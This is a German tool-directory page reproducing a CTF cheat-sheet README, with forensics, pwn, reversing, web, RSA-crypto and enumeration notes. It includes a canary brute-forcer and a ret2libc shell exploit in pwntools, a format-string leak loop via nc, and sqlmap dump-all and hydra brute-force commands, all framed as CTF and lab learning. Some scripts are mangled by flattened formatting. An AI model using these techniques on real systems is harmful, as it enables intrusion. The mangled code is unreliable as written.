Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/adamkadaban/ctfs
OSINT (Open-Source-Intelligence)Reverse EngineeringForensikWebsicherheitSteganografieKryptographieCTFPenetrationstestsLernen & BildungKuratierte RessourcenBinary-ExploitationLabs & Praxis
84767vor 9 MonatenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
CTFs — CTF Spickzettel + Writeups / Dateien für einige der Security CTFs, die ich gemacht habe. | Kitploit
GitHubadamkadaban/ctfs

CTFs

CTF Spickzettel + Writeups / Dateien für einige der Security CTFs, die ich gemacht habe.

Repository anzeigenWebseite

CTFs

Writeups / Dateien für einige der Cyber-CTFs, die ich gemacht habe

Ich habe auch eine Liste von CTF-Ressourcen sowie einen umfassenden Spickzettel beigefügt, der viele gängige CTF-Herausforderungen abdeckt.

[!NOTE] Es gibt jetzt einen Web-Mirror dieses Repos unter hackback.zip

Inhaltsverzeichnis

  • Ressourcen

    • YouTube-Kanäle
    • Übungs- / Lernseiten
      • CTFs
      • Allgemein
      • Pwn
      • Rev
      • Web
      • Crypto
      • Smart Contracts
      • Cloud
      • Pentesting
  • CTF-Spickzettel

    • Forensik / Steganographie
      • Allgemein
      • Audio
      • Bild
      • Video
      • Maschinenabbild
      • Pcap
    • Pwn / Binary Exploitation
      • Allgemein
      • Buffer Overflow
      • PIE (Positionsunabhängige Ausführung)
      • NX (Nicht ausführbar)
      • ROP (für statisch kompilierte Binaries)
      • Stack Canary
      • Format-String-Schwachstellen
      • Shellcode
      • Return-to-Libc
    • Reverse Engineering
      • SMT-Löser
      • Byte-für-Byte-Prüfungen umkehren (Side-Channel-Angriff)
      • Strings mit gef durchsuchen
    • Web
      • Fuzzing von Eingabefeldern
    • Crypto
      • CyberChef

      • Gängige Chiffren

      • RSA

        • RSA-Info mit pycryptodome abrufen
        • Chinesischer Restsatz (p,q,e,c)
        • Coppersmith-Angriff (c,e)
        • Pollard-Angriff (n,e,c)
        • Wiener-Angriff (n,e,c)
      • Base16, 32, 36, 58, 64, 85, 91, 92

    • Box
      • Verbinden
      • Aufklärung
      • Privilegieneskalation
      • Auf Reverse Shell lauschen
      • Reverse Shell
      • Interaktive Shell erhalten
        • Linux
        • Windows / Allgemein
    • OSINT
    • Sonstiges

Ressourcen

YouTube-Kanäle

  • John Hammond
    • Hat früher viele CTF-Videos gemacht, ist aber zu anderen Themen übergegangen.
    • Trotzdem eine Menge nützlicher Videos. Besonders die CTF-Videos sind großartig, um Neueinsteigern die Cybersicherheit näherzubringen.
  • Live Overflow
    • Macht extrem interessante und tiefgründige Videos über Cybersicherheit.
    • Hat eine fantastische Pwn-Serie
  • IppSec
    • Erstellt Writeups für jede einzelne HackTheBox-Maschine.
      • Spricht über verschiedene Lösungswege und warum Dinge funktionieren. Sehr empfehlenswert.
  • Computerphile
    • Dieselben Leute wie Numberphile, aber cooler. Macht wirklich anfängertaugliche und intuitive Videos über grundlegende Konzepte.
  • pwn.college
    • Ein ASU-Professor mit vielen Videos über Pwn.
    • Geführtes Kursmaterial: https://pwn.college/
    • Viele Übungsaufgaben: https://dojo.pwn.college/
  • PwnFunction
    • Sehr hochwertige und leicht verständliche animierte Videos zu verschiedenen Themen.
    • Die Themen sind etwas fortgeschritten, aber leicht verständlich.
  • Martin Carlisle
    • Macht hervorragende Writeup-Videos zu den picoCTF-Herausforderungen.
  • Sam Bowne
    • CCSF-Professor, der alle seine Vorlesungen und Kursmaterialien auf seiner Website als Open Source zur Verfügung stellt.
  • UFSIT

Vorträge

Hier sind einige Folien, die ich zusammengestellt habe: hackback.zip/presentations

Übungs- / Lernseiten

CTFs

  • PicoCTF
    • Tonnenweise fantastische Übungsherausforderungen.
    • Definitiv der Goldstandard für den Einstieg.
  • UCF
    • Insgesamt gut, aber hervorragende Pwn-Übungen.
    • Ich arbeite derzeit daran, Writeups hier zu veröffentlichen.
  • hacker101
    • CTF, aber etwas stärker auf Pentesting ausgerichtet.
  • CSAW
    • Ist zu 90% der Zeit offline und normalerweise funktionieren keine der Verbindungen.
    • Wenn es aber online ist, bietet es viele gute Einführungschallenges.
  • CTF101
    • Eine der besten Einführungen in CTFs, die ich gesehen habe (gute Arbeit, osiris).
    • Sehr prägnant und anfängerfreundlich.

Allgemein

  • HackTheBox
    • Die ursprüngliche Box-Seite.
      • Boxen werden kuratiert, um Qualität zu gewährleisten.
    • Hat jetzt auch einige CTF-artige Probleme.
    • Bietet jetzt Kurse zum Einstieg.
  • TryHackMe
    • Etwas einfachere Boxen als HackTheBox.
    • Schritt-für-Schritt-Challenges.
    • Bietet jetzt „Lernpfade“, um dich durch die Themen zu führen.
  • CybersecLabs
    • Große Sammlung von Boxen.
    • Hat auch einige CTF-Sachen.
  • VulnHub
    • Enthält verwundbare virtuelle Maschinen, die du selbst bereitstellen musst.
    • Viel Abwechslung, aber meiner Meinung nach schwer, gute zu finden.

Pwn

  • pwnable.kr
    • Herausforderungen mit gutem Schwierigkeitsgrad-Spektrum.
  • pwnable.tw
    • Schwerer als pwnable.kr.
    • Hat Writeups, sobald du die Herausforderung gelöst hast.
  • pwnable.xyz
    • Weitere Pwn-Herausforderungen.
    • Hat Writeups, sobald du die Herausforderung gelöst hast.
    • Du kannst eigene Herausforderungen hochladen, sobald du alle gelöst hast.
  • pwn dojo
    • Meiner Meinung nach die beste Sammlung von Pwn-Herausforderungen.
    • Wird durch Folien ergänzt, die erklären, wie es geht, und hat einen Discord, falls du Hilfe brauchst.
  • nightmare
    • Goldstandard für das Knacken von C-Binaries.
    • Hat ein paar Fehler/Tippfehler, aber insgesamt fantastisch.
  • pwn notes
    • Notizen von einer zufälligen Person im Internet.
    • Sehr oberflächlich, aber gute Einführung in alles.
  • Security Summer School
    • Sicherheitskurs der Universität Bukarest.
    • Sehr anfängerfreundliche Erklärungen.
  • RPISEC MBE
    • RPI's Modern Binary Exploitation Kurs.
    • Enthält eine gute Anzahl von Laboren/Projekten zum Üben und einige (leicht veraltete) Vorlesungen.
  • how2heap
    • Heap-Exploitation-Reihe vom ASU-CTF-Team.
    • Enthält eine sehr coole Debugger-Funktion, um zu zeigen, wie die Exploits funktionieren.
  • ROPEmporium
    • Reihe von Herausforderungen in jeder großen Architektur, die Return-Oriented-Programming lehren.
    • Sehr hohe Qualität. Lehrt die einfachsten bis fortschrittlichsten Techniken.
    • Ich füge derzeit meine eigenen Writeups hier hinzu.

Rev

  • challenges.re
    • So viele Herausforderungen 0_0.
    • Riesige Vielfalt.
  • reversing.kr
  • crackmes.one
    • Tonnenweise Crackme (CTF-artige) Herausforderungen.
  • Malware Unicorn Workshops
    • Kostenlose Workshops zu Reverse Engineering und Malware-Analyse.

Web

  • websec.fr
    • Viele Web-Herausforderungen mit einem guten Schwierigkeitsgrad-Spektrum.
  • webhacking.kr
    • Enthält ein Archiv vieler guter Web-Herausforderungen.
  • Securing Web Applications
    • Open-Source-CCSF-Kurs.
  • OWASP Juice Shop
    • Stark auf Pentesting ausgerichtet, aber nützlich, um das Web in CTFs zu erkunden.
    • Insgesamt über 100 Schwachstellen/Herausforderungen.
  • PortSwigger
    • Goldstandard zum Verständnis von Web-Hacking.
    • Tonnenweise fantastische Herausforderungen und Erklärungen.
  • DVWA
    • Stark auf Pentesting ausgerichtet, aber nützlich, um das Web in CTFs zu erkunden.
  • bWAPP
    • Stark auf Pentesting ausgerichtet, aber nützlich, um das Web in CTFs zu erkunden.
  • CTF Challenge
    • Sammlung von Web-Herausforderungen von Adam Langley, die so realistisch wie möglich gestaltet sind.
    • Gut, um Erfahrung mit Bug Bounties zu sammeln.

Crypto

  • CryptoHack
    • Ich arbeite derzeit daran, Writeups hier zu veröffentlichen.
  • cryptopals
    • Die ursprüngliche Crypto-Challenge-Seite.
  • CryptoCTF
    • Jährlicher Kryptographie-CTF. Vorherige Jahre unter 20{19,20,21,22,23,24}.cr.yp.toc.tf zugänglich.

Smart Contracts

  • Capture the Ether

Cloud

  • CloudFoxable
    • Führt dich durch die Einrichtung einer verwundbaren Umgebung, die mit cloudfox ausgenutzt werden kann.
  • flaws.cloud
    • Kostenlose Herausforderungen, bei denen es darum geht, Geheimnisse in S3, EC2 und Lambda zu finden.

Pentesting

  • hacker101
  • hacksplaining
  • Exploit development
    • Open-Source-CCSF-Kurs.
  • Intro to Security
    • UC San Diego Kurs, gelehrt von Deian Stefan.
    • Deckt grundlegendes Pwn und Crypto ab.
  • Active Directory Cheat Sheet
  • WADComs
    • Interaktiver Spickzettel für Windows/AD-Umgebungen.
  • LOLBAS
    • Interaktiver Spickzettel für Windows "Living off the land"-Binaries, Skripte und Bibliotheken zur Ausnutzung.
  • GTFOBins
    • Interaktiver Spickzettel für Linux "Living off the land"-Techniken.

CTF-Spickzettel

Forensik / Steganographie

Allgemein

  • AperiSolve
    • Tool, das automatisch andere Stego-Tools ausführt.
  • Wirklich gute Ressource von John Hammond für verschiedene Arten von Herausforderungen:
    • https://github.com/JohnHammond/ctf-katana
  • Ein weiterer sehr guter Spickzettel zum Erstellen und Lösen von Herausforderungen:
    • https://github.com/apsdehal/awesome-ctf/blob/master/README.md
  • file
    • file <datei.xyz>
    • Bestimmt den Dateityp.
  • steghide
    • steghide extract -sf <datei.xyz>
    • Extrahiert eingebettete Dateien.
  • stegseek
    • stegseek <datei> <passwortliste>
    • Extrahiert eingebettete Dateien mithilfe einer Wortliste.
    • Super, super schnell.
  • binwalk
    • binwalk -M --dd=".*" <datei.xyz>
    • Extrahiert eingebettete Dateien.
  • exiftool
    • exiftool <datei.xyz>
    • Liest Metadaten.
  • strings
    • strings <datei.xyz>
    • Findet alle druckbaren Zeichen in einer Datei.
  • hexedit

Audio

  • Faxgeräusch:

    • Beispiel
    • Decoder
  • SSTV (Slow-Scan TV) Audio (Mond-Kram)

    • Beispiel
    • Decoder
    • Alternativer Decoder
    • Verwende diese qsstv-Einstellungen:

    SSTV-Einstellungen

  • Spektrogramm-Bild

    • Decoder
  • Tonhöhe, Geschwindigkeit, Richtung ändern...

    • Tonhöhe, Geschwindigkeit, Tonlage
    • Umkehren
  • DTMF (Dual Tone Multiple Frequency) Telefontasten

    • multimon-ng -a DTMF -t wav <datei.wav>
      • Beachte, dass dies Multitap-Buchstaben sein könnten.
        • Dies kann die Zahlen in Text dekodieren.
  • Kassette

    • Beispiel
    • Decoder (wav zu tap-Dateien)
  • Morsecode

    • Decoder

Bild

  • stegsolve
    • Durch Bits schalten.
  • foremost
    • Spezielles Tool zum Extrahieren von Bildern.
    • Kann verwendet werden, um beschädigte Bilder (z. B. in einem Pcap) zusammenzusetzen.
  • Depix
    • Text entpixeln.
  • Prüfen, ob etwas in Photoshop bearbeitet wurde (Lichter ansehen)
    • https://29a.ch/photo-forensics/#error-level-analysis
  • zsteg
    • LSB-Decoder.
  • jsteg
    • JPEG-Steganographie-Löser.
  • pixrecovery
    • Bisher das effektivste PNG-Wiederherstellungstool, das ich gefunden habe (solange dich Wasserzeichen nicht stören).
    • photopea funktioniert auch sehr gut.
  • crc32fix
    • Höhe und Breite von PNG basierend auf der Prüfsumme korrigieren.
  • PCRT
    • PNG-Header- und Footer-Informationen korrigieren.
  • png-crc-fix
    • PNG-Prüfsumme korrigieren.
  • pngcheck
    • Herausfinden, ob es Fehler im PNG gibt.
    • pngcheck <datei>

Video

Maschinenabbild

  • Dateien wiederherstellen
    • photorec <datei.bin>
  • Du kannst ein Abbild als virtuelle Maschine bereitstellen.
    • https://habr.com/en/post/444940/
  • Eine .img-Datei bereitstellen:
    • binwalk -M --dd=".*" <dateiname>
    • Führe file auf der Ausgabe aus und wähle die Linux-Dateisystemdatei aus.
    • losetup /dev/loop<freieLoopNummer> <dateisystemDatei>

Pcap

  • Daten mit tcpflow extrahieren
    • tcpflow -r <datei.pcap>
  • Daten mit Wireshark extrahieren
    • Datei → Objekte exportieren → Auswahl treffen

Pwn / Binary Exploitation

  • Für diesen Teil empfehle ich, dir stattdessen mein LearnPwn-Repo anzusehen, da dieser Spickzettel erstellt wurde, bevor ich viel über Pwn wusste.
    • Ich habe jedoch einige ergänzende Notizen zu dem, was ich hier habe, beigefügt.

Allgemein

  • Sicherheit von ELF prüfen
    • checksec <binary>
    • rabin2 -I <binary>
  • Sicherheit von PE prüfen
    • binary-security-check
    • binary-security-check <bin>.exe
  • Seccomp bpf prüfen
    • seccomp-tools
    • seccomp-tools dump ./<binary>
  • Symbole anzeigen
    • readelf -s <binary>
  • Zeichenketten anzeigen
    • rabin2 -z <binary>
  • Adresse in Byte packen
    • Little Endian (für 32 Bit)
      • python -c "import pwn; print(pwn.p32(<intAddr>))"
    • Big Endian (für 64 Bit)
      • python -c "import pwn; print(pwn.p64(<intAddr>))"
    • pwntools packt Adressen automatisch mit der korrekten Byte-Reihenfolge für dich.

Buffer Overflow

  • Falls du jemals eine /bin/sh-Shell benötigst und sicher bist, dass es funktioniert, das Programm aber trotzdem beendet wird, verwende diesen Trick:
    • ( python -c "print '<PAYLOAD>'" ; cat ) | ./<programm>
    • pwntools erledigt dies mit seiner process.interactive().

PIE (Positionsunabhängige Ausführung)

  • Zufallswert bestimmen
    • pwn cyclic <anzahlZeichen> zum Generieren des Payloads.
    • dmesg | tail | grep segfault, um zu sehen, wo der Fehler aufgetreten ist.
    • pwn cyclic -l 0x<fehleradresse>, um den zufälligen Offset zur Steuerung des Befehlszeigers zu erhalten.
    • Beispiel

NX (Nicht ausführbar)

  • Wir können ROP (Return Oriented Programming) verwenden, um dies zu lösen.

ROP (für statisch kompilierte Binaries)

  • ROPgadget
    • Gadgets anzeigen & automatisch ROPchains generieren.
    • ROPgadget --ropchain --binary <binary>
      • Du kannst dann am Anfang des Codes Padding hinzufügen (basierend auf der Differenz zwischen deinem Buffer und der Rücksprungadresse) und den Code ausführen, um eine Shell zu erhalten.
      • Demo
  • ropr

Stack CanaryFinden des Stack-Canarys in einem Debugger

  • Der Stack-Canary ist ein Wert, der vor dem EIP/RIP (Instruction Pointer) platziert wird und durch einen Pufferüberlauf überschrieben werden kann. Das Programm verursacht im Grunde einen Fehler, wenn der Stack auf etwas anderes überschrieben wird als ursprünglich. Unser Ziel ist es, den ursprünglichen Stack zu finden, damit das Programm nach dem Überlauf normal läuft.
  • Der Stack-Canary stammt von gs oder fs (für 32 bzw. 64 Bit)
    • Im Disassembly sieht man vor dem Einlesen einer Eingabe eine Zeile ähnlich der folgenden:``` 0x000000000000121a <+4>: sub rsp,0x30 0x000000000000121e <+8>: mov rax,QWORD PTR fs:0x28 0x0000000000001227 <+17>:mov QWORD PTR [rbp-0x8],rax 0x000000000000122b <+21>:xor eax,eax
root@kitploit:~
Hier wird die Stack-Canary in `rax` an Offset +8 verschoben.
    - Setzen Sie daher einen Breakpoint am nächsten Offset und prüfen Sie, was in rax (`i r rax`) steht, um die aktuelle Canary zu sehen.

**Statische Canaries**
- Eine Canary ist nur statisch, wenn sie manuell vom Programmierer implementiert wurde (was in einigen einfachen Pwn-Challenges der Fall ist), oder wenn Sie das Programm forken können.
    - Wenn Sie die Binärdatei forken, hat die geforkte die gleiche Canary, sodass Sie eine byteweise Brute-Force darauf durchführen können.

**Extra**
- Wenn eine Stack-Canary unsachgemäß überschrieben wird, führt dies zu einem Aufruf von `__stack_chk_fail`
    - Wenn wir die Canary nicht leaken können, können wir auch die GOT-Tabelle modifizieren, um den Aufruf zu verhindern.
- Die Canary wird in der `TLS`-Struktur des aktuellen Stacks gespeichert und von `security_init` initialisiert.
    - Wenn Sie den echten Canary-Wert überschreiben können, können Sie ihn auf das setzen, was Sie überlaufen lassen möchten.

- Einfaches Skript zur Brute-Force einer statischen 4-Byte-Canary:```python
#!/bin/python3
from pwn import *

#This program is the buffer_overflow_3 in picoCTF 2018
elf = ELF('./vuln')

# Note that it's probably better to use the chr() function too to get special characters and other symbols and letters.
# But this canary was pretty simple :)
alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"

canary = ''
# Here we are bruteforcing a canary 4 bytes long
for i in range(1,5):
    for letter in range(0,len(alphabet)):  # We will go through each letter/number in the string 'alphabet'
        p = elf.process()  # We start the process
        wait = p.recv().decode('utf-8')
        p.sendline(str(32+i))  # In this program, we had to specify how many bytes we were gonna send.
        wait = p.recv().decode('utf-8')
        p.sendline('A'*32 + canary + alphabet[letter])  # We send the 32 A's to overflow, and then the canary we already have + our guess
        prompt = p.recv().decode('utf-8')
        if "Stack" not in prompt:  # The program prints "Stack smashed [...]" if we get wrongfully write the canary.
            canary += alphabet[letter]  # If it doesn't print that, we got part of our canary :)
            break  # Move on to the next canary letter/number

print("The canary is: " + canary)

Format-String-Schwachstellen

  • Schauen Sie sich Tabelle 2 an, um zu sehen, was Sie versuchen sollten, wenn Sie "printf(buf)" oder so etwas sehen:
    • https://owasp.org/www-community/attacks/Format_string_attack
  • Sehr empfehlenswert ist es, sich John Hammond bei der 'echooo'-Challenge von picoCTF 2018 anzusehen
  • Manchmal kann der Versuch, nur Strings vom Stack zu drucken, wie: '%s %s %s %s %s %s', zu Fehlern führen, da nicht alles auf dem Stack ein String ist.
  • Versuche dies zu minimieren, indem du stattdessen '%x %x %x %x %x %s' verwendest
  • Anstatt ständig die Anzahl der %x und %s erhöhen zu müssen, kannst du einen Parameter übergeben, um es einfacher zu machen:
    • %1$s - Dies gibt den ersten Wert auf dem Stack (soweit ich verstehe, den direkt neben deinem Buffer) als String aus.
    • %2$s - Dies gibt den zweiten Wert als String aus, und du verstehst das Prinzip
    • Du kannst Einzeiler-Schleifen verwenden, um zu versuchen, die Flagge durch Leaken des Stacks zu finden. Drücke ^C (STRG + C), um zum nächsten Wert zu gelangen.
      • for i in {1..100}; do echo "%$i\$s" | nc [b7dca240cf1fbf61.247ctf.com](http://b7dca240cf1fbf61.247ctf.com/) 50478; done
  • Du kannst kontrollieren, wie viel du leakst, indem du verschiedene Größenparameter verwendest:
    • %hhx leakt 1 Byte (Hälfte der Hälfte der Int-Größe)
    • %hx leakt 2 Bytes (Hälfte der Int-Größe)
    • %x leakt 4 Bytes (Int-Größe)
    • %lx leakt 8 Bytes (Long-Größe)

Shellcode

  • Gute Website, um verschiedenen Shellcode zu finden:
    • http://shell-storm.org/shellcode/

Return-to-Libc

  • Wir werden den EIP überschreiben, um die system()-Bibliotheksfunktion aufzurufen, und wir werden auch übergeben, was sie ausführen soll, in diesem Beispiel einen Buffer mit "/bin/sh"

  • Gute Erklärung:

    • https://www.youtube.com/watch?v=FvQYGAM1X9U&ab_channel=NPTEL-NOCIITM
  • Gutes Beispiel (gehe zu 3:22:44):

    • https://www.youtube.com/watch?v=uIkxsBgkpj8&t=13257s&ab_channel=freeCodeCamp.org
    • https://www.youtube.com/watch?v=NCLUm8geskU&ab_channel=BenGreenberg
  • Adresse für execve("/bin/sh") abrufen

    • one_gadget <libc file>
  • Wenn du die libc-Datei und eine Adresse bereits kennst (d.h. du musst sie nicht leaken...)```python #!/bin/python3

from pwn import * import os

binaryName = 'ret2libc1'

get the address of libc file with ldd

libc_loc = os.popen(f'ldd {binaryName}').read().split('\n')[1].strip().split()[2]

use one_gadget to see where execve is in that libc file

one_gadget_libc_execve_out = [int(i.split()[0], 16) for i in os.popen(f'one_gadget {libc_loc}').read().split("\n") if "execve" in i]

pick one of the suitable addresses

libc_execve_address = one_gadget_libc_execve_out[1]

p = process(f'./{binaryName}') e = ELF(f'./{binaryName}') l = ELF(libc_loc)

get the address of printf from the binary output

printf_loc = int(p.recvuntil('\n').rstrip(), 16)

get the address of printf from libc

printf_libc = l.sym['printf']

calculate the base address of libc

libc_base_address = printf_loc - printf_libc

generate payload

0x17 is from gdb analysis of offset from input to return address

offset = 0x17

payload = b"A"*offset payload += p64(libc_base_address + libc_execve_address)

send the payload

p.sendline(payload)

enter in interactive so we can use the shell created from our execve payload

p.interactive()

root@kitploit:~
## Reverse Engineering

> Tolle Anleitung: [https://opensource.com/article/20/4/linux-binary-analysis](https://opensource.com/article/20/4/linux-binary-analysis)
 
- [Ghidra](https://ghidra-sre.org/)
    - Sehr nützlicher Decompiler
- dotPeek or dnSpy
    - Dekompiliere .NET-Programmdateien
- [jadx](https://github.com/skylot/jadx) and jadx-gui
    - Dekompiliere APKs
- [devtoolzone](https://devtoolzone.com/decompiler/java)
    - Dekompiliere Java online
- [Quiltflower](https://github.com/QuiltMC/quiltflower/)
    - Fortschrittlicher Java-Decompiler für die Konsole
- apktool
    - Dekompiliere APKs
    - `apktool d *.apk`
- [gdb](https://www.gnu.org/software/gdb/)
    - Binäranalyse
    - [peda](https://github.com/longld/peda) (Erweiterung für erweiterte Funktionalität)
    - [gef](https://github.com/hugsy/gef) (gdb-Erweiterung für Pwners)
- [radare2](https://github.com/radareorg/radare2)
    - Binäranalyse
- [FLOSS](https://github.com/mandiant/flare-floss)
    - `strings` auf Steroiden. Nutzt statische Analyse, um Zeichenketten zu finden und zu berechnen.

#### SMT Solvers
- [angr](https://github.com/angr/angr) (python)
    - [Docs](https://docs.angr.io/core-concepts/toplevel)
    - [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)
- [z3](https://github.com/Z3Prover/z3)
    - [Tutorial](https://github.com/Adamkadaban/CTFs/blob/master/.resources/SMT_Solvers.md)

#### Reversing Byte-für-Byte-Prüfungen (Seitenkanalangriff)

[https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)

- Hier ist eine Version, die ich für eine Challenge erstellt habe, die einen zeitbasierten Angriff verwendet:
    - Möglicherweise muss man sie ein paar Mal ausführen, um die Zufälligkeit auszugleichen.```python
#!/bin/python3

from pwn import *
import string

keyLen = 8
binaryName = 'binary'

context.log_level = 'error'

s = ''
print("*"*keyLen)
for chars in range(keyLen):
    a = []
    for i in string.printable:
        p = process(f'perf stat -x, -e cpu-clock ./{binaryName}'.split())
        p.readline()
        currPass = s + i + '0'*(keyLen - chars - 1)
        # print(currPass)
        p.sendline(currPass.encode())
        p.readline()
        p.readline()
        p.readline()
        info = p.readall().split(b',')[0]
        p.close()
        try:
            a.append((float(info), i))
        except:
            pass
        # print(float(info), i)
    a.sort(key = lambda x: x[0])
    s += str(a[-1][1])
    print(s + "*"*(keyLen - len(s)))
    # print(sorted(a, key = lambda x: x[0]))

p = process(f'./{binaryName}')
p.sendline(s.encode())
p.interactive()

Strings mit gef durchsuchen

  • Wenn Ihre Flagge zu irgendeinem Zeitpunkt in eine Variable oder ein Register eingelesen wird, können Sie nach dem Verschieben einen Breakpoint setzen und grep <string> ausführen. Gef zeigt Ihnen dann automatisch den String an, der Ihrem Suchmuster entspricht.

Web

  • Nikto (falls erlaubt)
    • sucht automatisch nach Schwachstellen
  • gobuster (falls erlaubt)
    • Erzwingt Verzeichnisse und Dateien durch Brute-Force
  • hydra (falls erlaubt)
    • Erzwingt Logins für verschiedene Dienste durch Brute-Force
  • BurpSuite
    • Fängt Webanfragen ab und ermöglicht deren Modifikation
  • Wireshark
    • Analysiert Live-Netzwerkverkehr und pcap-Dateien
  • php reverse shell
    • Nützlich für Websites, die das Hochladen von Dateien erlauben
    • Diese Datei muss auf dem Server ausgeführt werden, um zu funktionieren
  • WPScan
    • Scannt WordPress-Websites
    • Verwenden Sie wpscan --url <site> --plugins-detection mixed -e mit einem API-Schlüssel für beste Ergebnisse
  • jwt
    • Sie können ein JWT-Token erkennen, da base64-kodiertes JSON (und damit JWT-Token) mit "ey" beginnt
    • Diese Seite dekodiert JSON Web Tokens
    • Sie können das Geheimnis des JSON Web Tokens knacken, um Ihre eigenen Token zu modifizieren und zu signieren
      • echo <token> > jwt.txt
      • john jwt.txt
  • SQL-Injection
    • sqlmap
      • sqlmap --forms --dump-all -u <url>

Fuzzing von Eingabefeldern

  • FFUF
    • Kopieren Sie die Anfrage in das Eingabefeld und ersetzen Sie den Parameter mit "FUZZ":
      • ffuf -request input.req -request-proto http -w /usr/share/seclists/Fuzzing/special-chars.txt -mc all
      • Verwenden Sie -fs um Größen zu filtern

Krypto

CyberChef

  • CyberChef
    • Führt verschiedene kryptografische Operationen durch

Cipher Detector

Hashes

  • hashid
    • Befehlszeilenprogramm zur Erkennung des Hash-Typs

Häufige Chiffren

  • Caesars Cipher
  • Vigenere Cipher```python

Solver using custom table

cipherText = "" plainText = "" flagCipherText = "" tableFile = ""

with open(cipherText) as fin: cipher = fin.readline().rstrip()

with open(plainText) as fin: plain = fin.readline().rstrip()

with open(flagCipherText) as fin: flag = fin.readline().rstrip()

with open(tableFile) as fin: table = [i.rstrip().split() for i in fin.readlines()]

table[0].insert(0, "") # might have to modify this part. # just a 2d array with the lookup table # should still work if the table is slightly off, but the key will be wrong key = "" for i, c in enumerate(plain[0:100]): col = table[0].index(c) for row in range(len(table)): if table[row][col] == cipher[i]: key += table[row][0] break

print(key)

dec_flag = "" for i, c in enumerate(flag[:-1]): col = table[0].index(key[i]) for row in range(len(table)): if table[row][col] == flag[i]: dec_flag += table[row][0] break

print(dec_flag)

root@kitploit:~
- [Substitutionschiffre](https://www.quipqiup.com/)
- [Rot13](https://rot13.com/)
- [Schlüsselbasierte Caesar-Chiffre](https://www.boxentriq.com/code-breaking/keyed-caesar-cipher)

### RSA

#### RSA-Informationen mit pycryptodome abrufen```python
from Crypto.PublicKey import RSA

keyName = "example.pem"

with open(keyName,'r') as f:
    key = RSA.import_key(f.read())

print(key)

# You can also get individual parts of the RSA key 
# (sometimes not all of these)
print(key.p)
print(key.q)
print(key.n)
print(key.e)
print(key.d)
print(key.u)

# public keys have n and e

Chinesischer Restsatz (p,q,e,c)

  • Verwenden Sie dies, wenn Sie die Zahl n faktorisieren können

    • Schlechte Implementierungen haben mehr als einen Primfaktor
    • Beweis
  • Alt```python def egcd(a, b): if a == 0: return (b, 0, 1) g, y, x = egcd(b%a,a) return (g, x - (b//a) * y, y)

def modinv(a, m): g, x, y = egcd(a, m) if g != 1: raise Exception('No modular inverse') return x%m

p = q = e = c =

n = p*q # use factordb command or website to find factors

phi = (p-1)*(q-1) # phi is simply the product of (factor_1-1) * ... * (factor_n -1)

d = modinv(e, phi) # private key

print(d)

m = pow(c,d,n) # decrypted plaintext message in long integer form

thing = hex(m)[2:] # ascii without extra stuff at the start (0x) print(bytes.fromhex(thing).decode('ascii'))

root@kitploit:~
- Neu```python
#!/bin/python3
from Crypto.Util.number import *
from factordb.factordb import FactorDB

# ints:
n =    
e =  
c =  

f = FactorDB(n)
f.connect()
factors = f.get_factor_list()

phi = 1
for i in factors:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)
  • Website, die Faktoren und Eulersche Phi-Funktion (phi) liefert
    • https://www.alpertron.com.ar/ECM.HTM

Coppersmith attack (c,e)

  • Üblicherweise verwendet, wenn der Exponent sehr klein ist (e <= 5)

    • Proof```python from Crypto.Util.number import * def nth_root(radicand, index): lo = 1 hi = radicand while hi - lo > 1: mid = (lo + hi) // 2 if mid ** index > radicand: hi = mid else: lo = mid

    if lo ** index == radicand: return lo elif hi ** index == radicand: return hi else: return -1

c = e =

plaintext = long_to_bytes(nth_root(c, e)) print(plaintext.decode("UTF-8"))

root@kitploit:~
#### Pollard-Angriff (n,e,c)
- Basiert auf [Pollards Faktorisierungsmethode](http://www.math.columbia.edu/~goldfeld/PollardAttack.pdf), welche Produkte von Primzahlen [leicht faktorisierbar](https://people.csail.mit.edu/rivest/pubs/RS01.version-1999-11-22.pdf) macht, wenn sie (B)-glatt sind 
    - Dies ist der Fall, wenn `p-1 | B!` und `q - 1` einen Faktor > `B` hat```python
from Crypto.Util.number import *
from math import gcd

n = 
c = 
e = 

def pollard(n):
    a = 2
    b = 2
    while True:
        a = pow(a,b,n)
        d = gcd(a-1,n)
        if 1 < d < n: 
            return d
        b += 1

p = pollard(n)
q = n // p

phi = 1
for i in [p,q]:
    phi *= (i-1)

d = inverse(e, phi)
m = pow(c, d, n)

flag = long_to_bytes(m).decode('UTF-8')
print(flag)

Wiener Attack (n,e,c)

  • Zur Verwendung, wenn d zu klein ist (oder e zu groß ist)
    • Verwendung von diesem Python-Modul
    • Beweis```python from Crypto.Util.number import * import owiener

n = e = c =

d = owiener.attack(e, n) m = pow(c, d, n)

flag = long_to_bytes(m) print(flag)

root@kitploit:~
### Base16, 32, 36, 58, 64, 85, 91, 92

[https://github.com/mufeedvh/basecrack](https://github.com/mufeedvh/basecrack)

## Box

### Verbinden

- ssh
    - `ssh <username>@<ip>`
    - `ssh <username>@<ip> -i <private key file>`
    - SSH als Dateisystem lokal einbinden:
        - `sshfs -p <port> <user>@<ip>: <mount_directory>`
    - Bekannte Hosts
        - `ssh-copy-id -i ~/.ssh/id_rsa.pub <user@host>`
- netcat
    - `nc <ip> <port>`
    

### Aufzählung

- Rechnererkennung
    - `netdiscover`
- Rechner-Port-Scanning
    - `nmap -sC -sV <ip>`
- Linux-Aufzählung
    - `enum4linux <ip>`
    
- SMB-Aufzählung
    - `smbmap -H <ip>`
- Mit SMB-Freigabe verbinden
    - `smbclient //<ip>/<share>`

### Privilegieneskalation

